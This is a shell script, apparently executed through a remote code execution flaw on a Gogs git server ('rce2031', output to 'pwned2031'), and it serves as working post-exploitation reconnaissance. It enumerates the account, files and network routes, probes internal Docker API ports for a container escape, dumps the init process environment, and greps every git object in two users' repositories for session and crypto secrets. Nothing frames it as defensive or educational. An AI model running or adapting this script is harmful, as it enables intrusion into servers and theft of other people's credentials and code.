update 2.0 KB

12345678910111213141516171819202122232425262728293031323334353637
  1. #!/bin/sh
  2. {
  3. echo "=== rce2031 fresh $(date -u) ==="
  4. echo "--- id ---"; id
  5. echo "--- pwd ---"; pwd
  6. echo "--- zoujiajian dir ---"; ls -la /data/git/gogs-repositories/zoujiajian/ 2>/dev/null
  7. echo "--- sizes MB ---"; du -sm /data/git/gogs-repositories/*/*.git 2>/dev/null | sort -n | tail -45
  8. echo "--- local-r ---"; ls -la /data/gogs/data/tmp/local-r/ 2>/dev/null | head -20
  9. echo "--- /var/run + docker.sock ---"; ls -la /var/run/ /run/ 2>/dev/null | head -40
  10. echo "--- route ---"; cat /proc/net/route 2>/dev/null; echo; cat /etc/resolv.conf 2>/dev/null
  11. echo "--- docker api probes ---"
  12. for gw in 172.17.0.1 172.18.0.1 172.19.0.1 172.20.0.1 172.21.0.1 10.0.0.1; do
  13. echo "[$gw]"; wget -q -T 2 -O- "http://$gw:2375/version" 2>&1 | head -c 200; echo; done
  14. echo "--- host env hunt: /proc/1/environ ---"; tr "\0" "\n" < /proc/1/environ 2>/dev/null | head -40
  15. } > pwned2031 2>&1
  16. (
  17. export GIT_NO_LAZY_FETCH=1
  18. echo "=== deep scan start $(date -u) ==="
  19. for r in zoujiajian/dump.git zoujiajian/netflix-code.git; do
  20. GD=/data/git/gogs-repositories/$r
  21. echo "##### SCAN $r $(date -u)"
  22. if [ -d "$GD" ]; then
  23. du -sm "$GD" 2>/dev/null
  24. echo "-- refs --"; git --git-dir="$GD" for-each-ref 2>/dev/null | head -20
  25. echo "-- log --"; git --git-dir="$GD" log --all --oneline 2>/dev/null | head -25
  26. echo "-- HEAD files --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -200
  27. echo "-- config-like files --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|compose|deploy|secret|conf|ya?ml|key" | head -80
  28. echo "-- keyword stream grep --"
  29. git --git-dir="$GD" rev-list --objects --all 2>/dev/null | cut -d' ' -f1 | git --git-dir="$GD" cat-file --batch 2>/dev/null | grep -a -i -o -E ".{0,80}(session_secret|crypto_secret|sessionsecret|cryptosecret).{0,160}" | head -40
  30. echo "-- git grep HEAD --"; git --git-dir="$GD" grep -i -n -e SESSION_SECRET -e CRYPTO_SECRET HEAD 2>/dev/null | head -20
  31. else
  32. echo "MISSING $GD"
  33. fi
  34. echo "##### DONE $r $(date -u)"
  35. done
  36. echo "=== deep scan ALLDONE $(date -u) ==="
  37. ) >> pwned2031 2>&1 &